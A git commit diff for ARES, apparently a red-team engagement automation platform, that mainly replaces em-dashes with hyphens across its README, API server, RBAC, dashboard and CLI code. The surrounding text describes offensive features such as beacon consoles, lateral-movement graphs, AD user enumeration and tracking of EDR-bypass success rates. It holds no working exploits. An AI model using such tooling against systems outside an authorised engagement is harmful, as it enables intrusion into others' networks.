ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.
Python active-directorycloud-securitydefensive-validationfastapigood-first-issuemitre-attackopsecreactred-teamreportingsecurity
refactor(overview): redesign dashboard, clean redundant data, and remove em-dash characters
Mafifriziad7ab116dd2e
diff --git a/README.md b/README.mdindex 4b8d297..57b8c50 100644--- a/README.md+++ b/README.md@@ -101,13 +101,13 @@ The ARES Platform features a high-performance, responsive operator dashboard eng-*ARES Operator Enclave — Sign In button erupts with crimson plasma fire on hover, click, and Enter key. Dynamic Architectural Grid canvas, system environment specifications, and ARES Cyber Dragon mascot on the right panel.*+*ARES Operator Enclave - Sign In button erupts with crimson plasma fire on hover, click, and Enter key. Dynamic Architectural Grid canvas, system environment specifications, and ARES Cyber Dragon mascot on the right panel.*</div>- **The Problem Solved**: Eliminates unauthorized operator access, token replay attacks, and token leakage to local browser storage.- **Key Capabilities**:- - **Crimson Fire Signature Interaction**: Real-time HTML5 Canvas particle fire system envelops the Sign In button on hover (continuous), click (burst), and Enter key (burst without pointer) — physics-based particles with buoyancy, turbulence, and radial glow using `requestAnimationFrame`.+ - **Crimson Fire Signature Interaction**: Real-time HTML5 Canvas particle fire system envelops the Sign In button on hover (continuous), click (burst), and Enter key (burst without pointer) - physics-based particles with buoyancy, turbulence, and radial glow using `requestAnimationFrame`.- **ARES Cyber Dragon Ambient Mascot**: Integrated brand mascot watermark on the telemetry pane with calibrated opacity and crimson back-glow, harmonized with frosted glass environment specs.- Live **Dynamic Architectural Grid Canvas**: Low-overhead hardware-accelerated 60 FPS HTML5 canvas with real-time traveling data pulses and cursor proximity illumination.- **Memory-Only Token Isolation**: Short-lived JWTs reside strictly in memory; refresh credentials use host-only, HttpOnly cookies with one-time rotation.@@ -131,13 +131,13 @@ The ARES Platform features a high-performance, responsive operator dashboard eng-*Tactical Zero-State Overview — Clean onboarding hero with instant readiness strip and initialization actions when running zero active campaigns.*+*Tactical Zero-State Overview - Clean onboarding hero with instant readiness strip and initialization actions when running zero active campaigns.*</div>- **The Problem Solved**: Aggregates scattered offensive metrics into a single real-time operational pane without requiring manual status queries.- **Key Capabilities**:- - **Operational Design System**: Engineered with high-density visual hierarchy (inspired by Grafana, Linear, and Sentry) — featuring subtle left-accented contextual panels (`panel-subtle`), dynamic reactive topbar health indicators, and distinct dashed progress tracks for uninitialized metric baselines.+ - **Operational Design System**: Engineered with high-density visual hierarchy (inspired by Grafana, Linear, and Sentry) - featuring subtle left-accented contextual panels (`panel-subtle`), dynamic reactive topbar health indicators, and distinct dashed progress tracks for uninitialized metric baselines.- **Actionable Engagement Insights**: Replaces redundant raw counts with contextual security posture insights:- *Engagement Posture*: Clear state delineation (`Staged`, `Executing`, or `Standby`) distinguishing scoped targets from executing campaigns.- *Execution Health*: Real-time monitor of pipeline anomalies, module execution failures, and enclave stability.@@ -199,14 +199,14 @@ The ARES Platform features a high-performance, responsive operator dashboard eng-*Cobalt Strike Hierarchical Pivot Graph & Docked Beacon Terminal Console — Live enterprise campaign topology (`Operation Titan Shield`), multi-hop lateral pivot routes, dynamic privilege borders (SYSTEM * / ADMIN / BEACON), and real-time interactive command terminal.*+*Cobalt Strike Hierarchical Pivot Graph & Docked Beacon Terminal Console - Live enterprise campaign topology (`Operation Titan Shield`), multi-hop lateral pivot routes, dynamic privilege borders (SYSTEM * / ADMIN / BEACON), and real-time interactive command terminal.*</div>- **The Problem Solved**: Translates raw active directory vulnerabilities and compromised footholds into visual, navigable lateral pivot chains while providing offensive operators an immediate interactive command console without switching windows.- **Key Capabilities**:- **Hierarchical Enterprise Pivot Graph**: Strict left-to-right adversary traversal topology showing perimeter ingress firewall (`K8S-INGRESS-01`), initial foothold workstations (`WS-FIN-042`, `AWS-IMDS-GW`), internal database and file servers (`SQL01`, `FS01`), and high-value Active Directory Domain Controllers (`DC01`).- - **Authentic Visual Privilege Semantics**: Dynamic glowing border indicators reflecting actual compromise tiers — Crimson `SYSTEM *` for Tier-0 Domain Controllers, Amber `ADMIN` for internal servers, Cyan `BEACON` for compromised user workstations, and Red Brick Firewall nodes for perimeter ingress.+ - **Authentic Visual Privilege Semantics**: Dynamic glowing border indicators reflecting actual compromise tiers - Crimson `SYSTEM *` for Tier-0 Domain Controllers, Amber `ADMIN` for internal servers, Cyan `BEACON` for compromised user workstations, and Red Brick Firewall nodes for perimeter ingress.- **Organic Cubic Bezier Routing & Telemetry Stream**: Fluid vector curves with directional arrowheads and animated glowing particle pulses visualizing live command-and-control and pivot traffic.- **Persistent Click-to-Lock Pathway Tracking**: Click any node to instantly freeze its upstream compromise lineage and downstream lateral reachability, complete with a tactical HUD banner (`• PATHWAY LOCKED: [HOST] | N NODES | N HOPS`). Freely zoom and pan across complex topologies without losing situational focus.- **Docked Multi-Row Beacon Terminal Console (`CobaltSessionDock`)**:@@ -735,7 +735,7 @@ ARES is distributed under the open-source **[MIT License](LICENSE)**.<div align="center">-**ARES — Enterprise-Grade Autonomous Red Team Engagement System.**+**ARES - Enterprise-Grade Autonomous Red Team Engagement System.***Continuous Security Validation. Zero Collateral Risk.*</div>diff --git a/ares/__init__.py b/ares/__init__.pyindex f74d30b..89c01a7 100644--- a/ares/__init__.py+++ b/ares/__init__.py@@ -1,5 +1,5 @@"""-ARES — Automated Red team Engagement System+ARES - Automated Red team Engagement SystemActive Recon & Exploitation Suite for structured, AI-guided penetration testing.Quickstart:diff --git a/ares/__version__.py b/ares/__version__.pyindex 3cf6b45..d151631 100644--- a/ares/__version__.py+++ b/ares/__version__.py@@ -1,4 +1,4 @@-"""ARES version — single source of truth from pyproject.toml."""+"""ARES version - single source of truth from pyproject.toml."""try:from importlib.metadata import version__version__: str = version("ares-redteam")diff --git a/ares/api/__init__.py b/ares/api/__init__.pyindex 0130cff..6f536d5 100644--- a/ares/api/__init__.py+++ b/ares/api/__init__.py@@ -1,5 +1,5 @@"""-ARES — api+ARES - apiARES REST API (FastAPI application)Public API for this package. Import from here in production code:diff --git a/ares/api/dashboard/__init__.py b/ares/api/dashboard/__init__.pyindex 0ed93fd..1e99559 100644--- a/ares/api/dashboard/__init__.py+++ b/ares/api/dashboard/__init__.py@@ -1,5 +1,5 @@"""-ARES — api.dashboard+ARES - api.dashboardReal-time campaign dashboardPublic API for this package. Import from here in production code:diff --git a/ares/api/dashboard/app.py b/ares/api/dashboard/app.pyindex 351be63..c14ebda 100644--- a/ares/api/dashboard/app.py+++ b/ares/api/dashboard/app.py@@ -40,7 +40,7 @@ async def _require_dashboard_auth("""Validate JWT or API key. Raises 401 if missing/invalid.Accepts: Authorization: Bearer <token> OR X-API-Key: <key>- Deliberately minimal — dashboard is read-only, any authenticated user is allowed.+ Deliberately minimal - dashboard is read-only, any authenticated user is allowed."""from ares.core.config import get_settingsfrom ares.core.security import decode_access_token@@ -65,7 +65,7 @@ async def _require_dashboard_auth(except HTTPException:raiseexcept Exception:- pass # DB unavailable — still accept if token signature valid+ pass # DB unavailable - still accept if token signature validreturn# Check X-API-Key header@@ -110,7 +110,7 @@ dashboard_app = FastAPI()# WebSocket connections for live streaming-live_connections: list[WebSocket] = [] # public — exported for testing+live_connections: list[WebSocket] = [] # public - exported for testing_live_connections = live_connections # private alias for internal use@@ -212,13 +212,13 @@ select,input{background:var(--card);color:var(--text);border:1px solid var(--bor<!-- Stats row --><div class="stat-row" id="stats-row">- <div class="stat-card score"><div class="val" id="stat-risk">—</div><div class="label">Risk Score</div></div>- <div class="stat-card critical"><div class="val" id="stat-critical">—</div><div class="label">Critical</div></div>- <div class="stat-card high"><div class="val" id="stat-high">—</div><div class="label">High</div></div>- <div class="stat-card medium"><div class="val" id="stat-medium">—</div><div class="label">Medium</div></div>- <div class="stat-card low"><div class="val" id="stat-low">—</div><div class="label">Low</div></div>- <div class="stat-card"><div class="val" id="stat-hosts" style="color:var(--blue)">—</div><div class="label">Hosts</div></div>- <div class="stat-card"><div class="val" id="stat-creds" style="color:var(--yellow)">—</div><div class="label">Credentials</div></div>+ <div class="stat-card score"><div class="val" id="stat-risk"> - </div><div class="label">Risk Score</div></div>+ <div class="stat-card critical"><div class="val" id="stat-critical"> - </div><div class="label">Critical</div></div>+ <div class="stat-card high"><div class="val" id="stat-high"> - </div><div class="label">High</div></div>+ <div class="stat-card medium"><div class="val" id="stat-medium"> - </div><div class="label">Medium</div></div>+ <div class="stat-card low"><div class="val" id="stat-low"> - </div><div class="label">Low</div></div>+ <div class="stat-card"><div class="val" id="stat-hosts" style="color:var(--blue)"> - </div><div class="label">Hosts</div></div>+ <div class="stat-card"><div class="val" id="stat-creds" style="color:var(--yellow)"> - </div><div class="label">Credentials</div></div></div><!-- Findings tab -->@@ -355,10 +355,10 @@ function renderFindings(findings) {<tr><td><span class="badge ${escCssToken(f.severity)}">${escHtml(String(f.severity || 'info').toUpperCase())}</span></td><td>${escHtml(f.title)}</td>- <td>${f.mitre_technique ? `<span class="mitre">${escHtml(f.mitre_technique)}</span>` : '<span style="color:var(--muted)">—</span>'}</td>+ <td>${f.mitre_technique ? `<span class="mitre">${escHtml(f.mitre_technique)}</span>` : '<span style="color:var(--muted)"> - </span>'}</td><td style="font-family:monospace;font-size:.78rem">${escHtml(f.module_id || '')}</td><td class="conf">${Math.round((f.confidence||1)*100)}%</td>- <td style="font-family:monospace;font-size:.78rem">${escHtml(f.host||'—')}</td>+ <td style="font-family:monospace;font-size:.78rem">${escHtml(f.host||' - ')}</td></tr>`).join('');}@@ -401,7 +401,7 @@ function connectLiveFeed() {const proto = location.protocol === 'https:' ? 'wss' : 'ws';ws = new WebSocket(`${proto}://${location.host}/ws/live`);ws.onopen = () => { appendLive('🟢 Connected to live feed'); };- ws.onclose = () => { appendLive('🔴 Disconnected — reconnecting in 5s...'); setTimeout(connectLiveFeed, 5000); };+ ws.onclose = () => { appendLive('🔴 Disconnected - reconnecting in 5s...'); setTimeout(connectLiveFeed, 5000); };ws.onmessage = (e) => {try {const d = JSON.parse(e.data);@@ -499,7 +499,7 @@ def _get_db() -> "AresDatabase":db = getattr(dashboard_app.state, "db", None)if db is not None:return db- # Standalone fallback — create per-request (not ideal, but safe)+ # Standalone fallback - create per-request (not ideal, but safe)from ares.core.config import get_settingsfrom ares.db.database import AresDatabase as _DBs = get_settings()@@ -619,17 +619,17 @@ async def websocket_live(websocket: WebSocket) -> None:except (RuntimeError, ConnectionError):passfinally:- # Always clean up — regardless of which exception disconnected the client+ # Always clean up - regardless of which exception disconnected the clientif websocket in _live_connections:_live_connections.remove(websocket)logger.info("dashboard_ws_disconnect", total=len(_live_connections))async def broadcast_finding(finding_dict: dict[str, Any]) -> None:- """Call this from the engine when a finding is confirmed — pushes to all dashboard clients."""+ """Call this from the engine when a finding is confirmed - pushes to all dashboard clients."""import jsondead: list[WebSocket] = []- for ws in list(_live_connections): # snapshot — prevent concurrent modification+ for ws in list(_live_connections): # snapshot - prevent concurrent modificationtry:await ws.send_text(json.dumps(finding_dict, default=str))except (RuntimeError, ConnectionError):diff --git a/ares/api/graph.py b/ares/api/graph.pyindex febcccf..935bd6d 100644--- a/ares/api/graph.py+++ b/ares/api/graph.py@@ -3,9 +3,9 @@ ARES Campaign Graph APIBuilds the attack graph data structure for frontend visualization.Returns JSON with:- nodes — hosts, users, credentials, pivots, findings- edges — attack paths, credential flows, lateral movement- layout — suggested layout hints (hierarchical, force-directed)+ nodes - hosts, users, credentials, pivots, findings+ edges - attack paths, credential flows, lateral movement+ layout - suggested layout hints (hierarchical, force-directed)Frontend can render with:- D3.js (force-directed)@@ -13,19 +13,19 @@ Frontend can render with:- vis.js (timeline + network)Node types:- host — discovered hosts (color by compromise level)- credential — credentials (color by privilege)- user — AD users / service accounts- pivot — pivot tunnels- finding — individual findings (severity → color)- dc — Domain Controllers (special shape)+ host - discovered hosts (color by compromise level)+ credential - credentials (color by privilege)+ user - AD users / service accounts+ pivot - pivot tunnels+ finding - individual findings (severity → color)+ dc - Domain Controllers (special shape)Edge types:- compromise — "host A was compromised via module X"- credential — "credential flows from A to B"- lateral — "lateral movement A → B"- pivot — "pivot route A → B"- discovery — "B was discovered from A"+ compromise - "host A was compromised via module X"+ credential - "credential flows from A to B"+ lateral - "lateral movement A → B"+ pivot - "pivot route A → B"+ discovery - "B was discovered from A"Usage:from ares.api.graph import build_campaign_graphdiff --git a/ares/api/rbac.py b/ares/api/rbac.pyindex 36bb8a2..1fd70c7 100644--- a/ares/api/rbac.py+++ b/ares/api/rbac.py@@ -1,18 +1,18 @@"""-ARES API RBAC + Rate Limiting — v3.0.0+ARES API RBAC + Rate Limiting - v3.0.0Roles:- team_lead — full access- operator — run modules, view findings, manage campaigns- recon — enum-only modules, read-only campaigns/graph- reporter — read-only findings, reports, telemetry+ team_lead - full access+ operator - run modules, view findings, manage campaigns+ recon - enum-only modules, read-only campaigns/graph+ reporter - read-only findings, reports, telemetryRate Limiting strategy (priority order):1. Redis sliding-window (if ARES_REDIS_URL is set) ← multi-pod safe2. In-process token bucket (fallback for single-pod / dev)Redis rate limit key format: ares:rl:{bucket}:{key}-Uses ZADD + ZREMRANGEBYSCORE + ZCARD — atomic in single pipeline call.+Uses ZADD + ZREMRANGEBYSCORE + ZCARD - atomic in single pipeline call.TTL auto-expires keys after 120s to prevent memory leaks."""from __future__ import annotations@@ -78,7 +78,7 @@ class AuthenticatedUser:@propertydef operator_role(self) -> OperatorRole:- """Convert string role to OperatorRole enum (safe — defaults to REPORTER)."""+ """Convert string role to OperatorRole enum (safe - defaults to REPORTER)."""try:return OperatorRole(self.role)except ValueError:@@ -392,7 +392,7 @@ class _RedisRateLimiter:# results[1] = count BEFORE this request was addedcount = int(results[1])if count >= max_per_minute:- # Over limit — remove the member we just added+ # Over limit - remove the member we just addedawait self._r.zrem(window_key, member)return False, 0@@ -422,11 +422,11 @@ class APIRateLimiter:logger.info("rate_limiter_mode", backend="redis")def is_allowed(self, key: str, max_per_minute: int) -> tuple[bool, int]:- """Sync fallback — used by global middleware (which can't easily await)."""+ """Sync fallback - used by global middleware (which can't easily await)."""return self._inprocess.is_allowed(key, max_per_minute)async def is_allowed_async(self, key: str, max_per_minute: int) -> tuple[bool, int]:- """Async check — preferred for endpoint dependencies."""+ """Async check - preferred for endpoint dependencies."""if self._redis_mode and self._redis:try:return await self._redis.is_allowed_async(key, max_per_minute)@@ -449,7 +449,7 @@ class APIRateLimiter:return remainingdef check_or_raise(self, key: str, max_per_minute: int, detail: str = "") -> int:- """Sync version of check_or_raise — used in non-async contexts."""+ """Sync version of check_or_raise - used in non-async contexts."""allowed, remaining = self.is_allowed(key, max_per_minute)if not allowed:raise HTTPException(@@ -481,7 +481,7 @@ def get_limiter() -> APIRateLimiter:def rate_limit(bucket: str = "global") -> Any:"""- FastAPI async dependency — checks rate limit for request IP.+ FastAPI async dependency - checks rate limit for request IP.Uses Redis if available, otherwise in-process.Usage:@@ -513,10 +513,10 @@ def _role_can_access(role: str, method: str, path: str) -> bool:Return True if `role` may call `method` on `path`.Rules:- team_lead — full access to everything- operator — GET/POST/DELETE on most paths except /auth/register- recon — GET only (except enumeration modules); no write access- reporter — GET only on /campaigns, /findings, /reports, /telemetry+ team_lead - full access to everything+ operator - GET/POST/DELETE on most paths except /auth/register+ recon - GET only (except enumeration modules); no write access+ reporter - GET only on /campaigns, /findings, /reports, /telemetry"""role = role.lower()method = method.upper()@@ -671,7 +671,7 @@ def check_endpoint_access(actor: AuthenticatedUser, method: str, path: str) -> Ndef init_user_store(store: dict) -> None:"""- Backward-compatibility shim — intentional no-op.+ Backward-compatibility shim - intentional no-op.In ARES ≥ 0.5 all users are managed by AresDatabase.This function is retained so older integrations do not break.diff --git a/ares/api/server.py b/ares/api/server.pyindex 4e516ae..2646525 100644--- a/ares/api/server.py+++ b/ares/api/server.py@@ -1,13 +1,13 @@"""ARES API Server v6.0.0-FastAPI — DB-persistent, WebSocket events, refresh tokens, API key auth, pagination.+FastAPI - DB-persistent, WebSocket events, refresh tokens, API key auth, pagination.v6.0.0 changes vs v1.0.0:- ✓ AresDatabase injected via app.state — no more in-memory dicts+ ✓ AresDatabase injected via app.state - no more in-memory dicts✓ Persistent user store (users table, DB-backed)✓ Refresh token endpoint + rotation on use✓ API key auth (X-API-Key header) for CI/CD automation- ✓ WebSocket /ws/campaigns/{id}/events — real-time module progress+ ✓ WebSocket /ws/campaigns/{id}/events - real-time module progress✓ Pagination on /campaigns, /campaigns/{id}/findings✓ X-RateLimit-Remaining + X-Total-Count response headers✓ JWT-only account management and API-key lifecycle endpoints@@ -473,7 +473,7 @@ async def lifespan(app: FastAPI) -> AsyncGenerator[None, None]:_dash_app.state.db = _dbexcept Exception as exc:logger.debug("legacy_dashboard_db_share_skipped", error=str(exc))- pass # dashboard not loaded — silently skip+ pass # dashboard not loaded - silently skip# Wire ARES_RATE_LIMIT_RPM setting into global rate limit bucket# Without this, operator changes to ARES_RATE_LIMIT_RPM have no effect@@ -543,7 +543,7 @@ async def lifespan(app: FastAPI) -> AsyncGenerator[None, None]:yield- # Graceful shutdown — cancel background task before closing DB+ # Graceful shutdown - cancel background task before closing DB_cleanup_task.cancel()await asyncio.gather(_cleanup_task, return_exceptions=True)app.state.c_live_runtime = None@@ -559,7 +559,7 @@ except Exception as exc:app = FastAPI(title="ARES API",- description="Automated Red team Engagement System — v6.0.0",+ description="Automated Red team Engagement System - v6.0.0",version=_ares_version,lifespan=lifespan,docs_url="/docs" if _debug else None,@@ -583,7 +583,7 @@ _mount_dashboard(app)@app.middleware("http")async def _block_docs_in_production(request: Request, call_next: Any) -> Any:"""Return 404 for /docs, /redoc, /openapi.json when ares_debug=False.- Evaluated at request time — not baked at import.+ Evaluated at request time - not baked at import."""if request.url.path in ("/docs", "/redoc", "/openapi.json"):try:@@ -600,8 +600,8 @@ async def _block_docs_in_production(request: Request, call_next: Any) -> Any:# ── Middleware ────────────────────────────────────────────────────────────────-# ── Request body size limit — prevent DoS via oversized payloads ──────────────-_MAX_BODY_MB = 10 # 10 MB — enough for module payloads, rejects abuse+# ── Request body size limit - prevent DoS via oversized payloads ──────────────+_MAX_BODY_MB = 10 # 10 MB - enough for module payloads, rejects abuse_MAX_BODY_BYTES = _MAX_BODY_MB * 1024 * 1024@@ -668,9 +668,9 @@ app.add_middleware()app.add_middleware(TrustedHostMiddleware,- allowed_hosts=_trusted_hosts, # No wildcard — must be explicit+ allowed_hosts=_trusted_hosts, # No wildcard - must be explicit)-# Body size limit — registered after TrustedHost so it runs on trusted requests only.+# Body size limit - registered after TrustedHost so it runs on trusted requests only.# BaseHTTPMiddleware approach (vs @app.middleware) works in both uvicorn and TestClient.app.add_middleware(_BodySizeLimitMiddleware)@@ -705,7 +705,7 @@ async def security_headers(request: Request, call_next: Any) -> Any:"base-uri 'self'; ""frame-ancestors 'none'")- # HSTS is only meaningful on HTTPS — don't send on plain HTTP+ # HSTS is only meaningful on HTTPS - don't send on plain HTTPif request.url.scheme == "https":response.headers["Strict-Transport-Security"] = ("max-age=31536000; includeSubDomains"@@ -764,7 +764,7 @@ async def _require_campaign_access(campaign: dict,actor: AuthenticatedUser,) -> None:- """Raise 404 (not 403) if actor cannot access campaign — avoids campaign enumeration."""+ """Raise 404 (not 403) if actor cannot access campaign - avoids campaign enumeration."""if actor.role != "team_lead" and campaign.get("operator") != actor.username:raise HTTPException(404, "Campaign not found")@@ -1051,7 +1051,7 @@ async def http_exception_handler(request: Request, exc: HTTPException) -> JSONRe@app.exception_handler(Exception)async def generic_exception_handler(request: Request, exc: Exception) -> JSONResponse:- """Catch-all handler — prevents stack trace leaking in 500 responses."""+ """Catch-all handler - prevents stack trace leaking in 500 responses."""logger.error("unhandled_exception",path=request.url.path,@@ -1153,7 +1153,7 @@ async def login(headers={"Retry-After": "60"},)- # Guard against bcrypt DoS — OAuth2PasswordRequestForm has no max_length+ # Guard against bcrypt DoS - OAuth2PasswordRequestForm has no max_lengthif len(form.password) > 128:raise HTTPException(status_code=400, detail="Password too long")@@ -1337,7 +1337,7 @@ async def register(db: AresDatabase = Depends(get_db),) -> dict[str, str]:"""Register new operator. Requires: team_lead role + rate limit."""- # Rate-limit registration even for team_leads — prevents abuse if token stolen+ # Rate-limit registration even for team_leads - prevents abuse if token stolenip = request.client.host if request.client else "unknown"await _limiter.check_or_raise_async(f"register:{ip}",@@ -1391,7 +1391,7 @@ async def change_password()if not changed:raise HTTPException(401, "Not authenticated")- # Revoke the current access token by jti — same as logout() —+ # Revoke the current access token by jti - same as logout() -# so the old token cannot be reused within its remaining expiry window.return {"status": "ok", "note": "All existing sessions revoked"}@@ -1418,7 +1418,7 @@ async def create_api_key(actor: AuthenticatedUser = Depends(require_any_auth()),db: AresDatabase = Depends(get_db),) -> dict[str, str]:- """Create API key for CI/CD automation. Key is shown ONCE — save it."""+ """Create API key for CI/CD automation. Key is shown ONCE - save it."""user = await db.get_user(actor.username)if not user:raise HTTPException(404, "User not found")@@ -1429,7 +1429,7 @@ async def create_api_key(return {"id": key_id,"key": raw_key,- "note": "Save this key — it will NOT be shown again.",+ "note": "Save this key - it will NOT be shown again.","prefix": raw_key[:12],}@@ -2362,11 +2362,11 @@ def _require_high_noise_module_access(returnif len(rejected) == 1:- detail = f"{rejected[0]!r} is HIGH_NOISE — team_lead only."+ detail = f"{rejected[0]!r} is HIGH_NOISE - team_lead only."else:detail = (f"{', '.join(repr(module_id) for module_id in rejected)} "- "are HIGH_NOISE — team_lead only."+ "are HIGH_NOISE - team_lead only.")raise HTTPException(status_code=403, detail=detail)@@ -2651,7 +2651,7 @@ async def report_bypass_outcome(if rate is not None and rate < 0.25:warning = (f"Technique '{body.technique_id}' success rate is only {rate:.0%} "- f"against {body.edr_vendor} — likely patched or detected."+ f"against {body.edr_vendor} - likely patched or detected.")return {"saved": True, "historical_rate": rate, "warning": warning}return {"saved": False, "error": "Database not available"}@@ -3135,7 +3135,7 @@ async def campaign_events():returnwhile True:- # Keep alive — wait for disconnect or ping+ # Keep alive - wait for disconnect or pingtry:data = await asyncio.wait_for(websocket.receive_text(), timeout=30.0)if data == "ping":@@ -3174,7 +3174,7 @@ async def get_cvss_summary(actor: AuthenticatedUser = _api_key_read_dep,db: AresDatabase = Depends(get_db),) -> dict[str, Any]:- """CVSS v3.1 score summary for a campaign — for compliance reports (PCI-DSS, ISO 27001)."""+ """CVSS v3.1 score summary for a campaign - for compliance reports (PCI-DSS, ISO 27001)."""campaign = await db.get_campaign(campaign_id)if not campaign:raise HTTPException(404, "Campaign not found")@@ -3634,7 +3634,7 @@ async def campaign_attack_paths(if not graph.stats()["nodes"]:return {"campaign_id": campaign_id,- "message": "No artifact data yet — run recon modules first",+ "message": "No artifact data yet - run recon modules first","paths": [],"stats": graph.stats(),}@@ -3934,10 +3934,10 @@ async def campaign_diff(Delta report comparing two campaigns.Returns:- new_findings — in campaign_id but not other_id (new issues)- fixed_findings — in other_id but not campaign_id (remediated)- severity_changed — same finding, CVSS score changed ≥ 1.0- summary — risk_improved bool, delta counts per severity+ new_findings - in campaign_id but not other_id (new issues)+ fixed_findings - in other_id but not campaign_id (remediated)+ severity_changed - same finding, CVSS score changed ≥ 1.0+ summary - risk_improved bool, delta counts per severityFindings matched by normalized title (case-insensitive).Useful for: "what changed since last month's engagement?"@@ -4179,7 +4179,7 @@ async def ingest_bloodhound("graph_stats": graph.stats(),}except ImportError:- raise HTTPException(503, "networkx required — pip install networkx")+ raise HTTPException(503, "networkx required - pip install networkx")except HTTPException:raiseexcept Exception as exc:diff --git a/ares/artifact_intel/__init__.py b/ares/artifact_intel/__init__.pyindex 7e033ed..7f1d401 100644--- a/ares/artifact_intel/__init__.py+++ b/ares/artifact_intel/__init__.py@@ -1,5 +1,5 @@"""-ARES — artifact_intel+ARES - artifact_intelArtifact correlation and attack opportunity detectionPublic API for this package. Import from here in production code:diff --git a/ares/artifact_intel/correlation.py b/ares/artifact_intel/correlation.pyindex e5e9e5f..46f64d7 100644--- a/ares/artifact_intel/correlation.py+++ b/ares/artifact_intel/correlation.py@@ -361,7 +361,7 @@ class ArtifactCorrelationEngine:title = f"Public cloud resource: {res.provider}/{res.resource_type} {res.resource_id!r}",description = (f"Public {res.provider} {res.resource_type} discovered. "- f"{'Credentials available for deeper access.' if cloud_creds else 'No credentials yet — enumerate.'}"+ f"{'Credentials available for deeper access.' if cloud_creds else 'No credentials yet - enumerate.'}"),severity = "medium",confidence = 0.85,diff --git a/ares/checkpoint/__init__.py b/ares/checkpoint/__init__.pyindex c8adaf1..160401f 100644--- a/ares/checkpoint/__init__.py+++ b/ares/checkpoint/__init__.py@@ -1,5 +1,5 @@"""-ARES — checkpoint+ARES - checkpointCampaign checkpoint save/restorePublic API for this package. Import from here in production code:diff --git a/ares/checkpoint/manager.py b/ares/checkpoint/manager.pyindex 4ce1d5a..9686ebd 100644--- a/ares/checkpoint/manager.py+++ b/ares/checkpoint/manager.py@@ -80,7 +80,7 @@ class CheckpointManifest:class CheckpointData:"""Full serialized campaign state."""manifest: CheckpointManifest = field(default_factory=CheckpointManifest)- campaign_id: str = "" # convenience field — mirrors manifest.campaign_id+ campaign_id: str = "" # convenience field - mirrors manifest.campaign_idvault: dict[str, Any] = field(default_factory=dict) # encrypted credential storecampaign: dict[str, Any] = field(default_factory=dict)session: dict[str, Any] = field(default_factory=dict) # OperatorSession.snapshot()@@ -124,7 +124,7 @@ class CheckpointManager:data = mgr.load(campaign_id)"""- # Fixed salt for checkpoint key derivation — deterministic so same key always+ # Fixed salt for checkpoint key derivation - deterministic so same key always# produces same Fernet key across restarts (no salt storage required)._KDF_SALT = b"ares-checkpoint-manager-v1-salt"@@ -141,7 +141,7 @@ class CheckpointManager:else:raise TypeError(f"encryption_key must be str or bytes, got {type(encryption_key)}")- # PBKDF2-HMAC-SHA256 — consistent with security.DataEncryptor (100k iterations)+ # PBKDF2-HMAC-SHA256 - consistent with security.DataEncryptor (100k iterations)kdf = PBKDF2HMAC(algorithm=_hashes.SHA256(),length=32,@@ -175,7 +175,7 @@ class CheckpointManager:ckpt_path.write_bytes(encrypted)- # Update "latest" pointer — use a regular file copy (Windows doesn't always support symlinks)+ # Update "latest" pointer - use a regular file copy (Windows doesn't always support symlinks)latest = campaign_dir / f"latest{CHECKPOINT_EXT}"try:import shutil as _shutil@@ -336,7 +336,7 @@ def _build_checkpoint_full(manifest = manifest,session = session_snapshot,campaign = {"id": campaign_id, "name": campaign_name},- credential_ids = [], # IDs only — secrets stay in vault+ credential_ids = [], # IDs only - secrets stay in vaultpending_tasks = pending_tasks or [],completed_steps = completed_steps or [],timeline = timeline or [],@@ -352,8 +352,8 @@ def build_checkpoint() -> "CheckpointData":"""Flexible checkpoint builder. Accepts:- build_checkpoint(session) — unit test style- build_checkpoint(campaign_id=..., operator=..., ...) — integration style+ build_checkpoint(session) - unit test style+ build_checkpoint(campaign_id=..., operator=..., ...) - integration style"""from ares.state.target_state import OperatorSessiondiff --git a/ares/cli/__init__.py b/ares/cli/__init__.pyindex 52c9aca..8c7c97e 100644--- a/ares/cli/__init__.py+++ b/ares/cli/__init__.py@@ -1,5 +1,5 @@"""-ARES CLI — Typer-based command line interface.+ARES CLI - Typer-based command line interface.Entry point: ``ares`` console script → ares.cli.main:clidiff --git a/ares/cli/_store.py b/ares/cli/_store.pyindex 65fad1e..fac64d7 100644--- a/ares/cli/_store.py+++ b/ares/cli/_store.py@@ -1,5 +1,5 @@"""-Shared CLI persistence helpers — campaign JSON store on local disk.+Shared CLI persistence helpers - campaign JSON store on local disk.Used by typer_main.py for all campaign read/write operations."""from __future__ import annotationsdiff --git a/ares/cli/typer_main.py b/ares/cli/typer_main.pyindex 71ff31e..8bd10ef 100644--- a/ares/cli/typer_main.py+++ b/ares/cli/typer_main.py@@ -1,6 +1,6 @@#!/usr/bin/env python3"""-ARES CLI — Typer-based command line interface.+ARES CLI - Typer-based command line interface.All subcommands use Python type annotations for automatic --help generation.Structure:@@ -54,7 +54,7 @@ from rich.table import Tableapp = typer.Typer(name = "ares",help = (- "ARES — Automated Red team Engagement System\n\n"+ "ARES - Automated Red team Engagement System\n\n""[bold]Quick start:[/bold]\n"" ares campaign create --name \"Lab\" --client ACME --targets 10.0.0.0/24\n"" ares module run ad.enum_users --dc 10.0.0.5 --domain corp.local\n"@@ -281,7 +281,7 @@ app.add_typer(mcp_app, name="mcp")def version_callback(show: bool) -> None:if show:from ares.__version__ import __version__ as _ver- rprint(f"[bold cyan]ARES[/] v{_ver} — Automated Red team Engagement System")+ rprint(f"[bold cyan]ARES[/] v{_ver} - Automated Red team Engagement System")raise typer.Exit()@@ -291,7 +291,7 @@ def main(callback=version_callback, is_eager=True,help="Show version and exit"),) -> None:- """ARES — Automated Red team Engagement System."""+ """ARES - Automated Red team Engagement System."""# ── Campaign commands ──────────────────────────────────────────────────────────@@ -332,7 +332,7 @@ def campaign_create(f"[bold green]✓ Campaign created[/]\n"f" ID: [cyan]{c.id}[/]\n"f" Name: {c.name}\n"- f" Client: {c.client or '—'}\n"+ f" Client: {c.client or ' - '}\n"f" Profile: [yellow]{profile}[/]\n"f" Scope: {', '.join(s.cidr for s in c.scope)}",title="Campaign Created",@@ -368,7 +368,7 @@ def campaign_list(table.add_row(c.get("id", "")[:8],c.get("name", ""),- c.get("client", "—"),+ c.get("client", " - "),c.get("noise_profile", "normal"),str(c.get("finding_count", 0)),c.get("created_at", ""),@@ -453,7 +453,7 @@ def campaign_resume(f"[green]▶ Campaign resumed[/]\n"f" Checkpoint: [dim]{cp['checkpoint_id']}[/]\n"f" Saved at: {cp['saved_at']}\n"- f" Notes: {cp.get('notes', '—') or '—'}\n\n"+ f" Notes: {cp.get('notes', ' - ') or ' - '}\n\n"f"Run [cyan]ares module run <id> --campaign 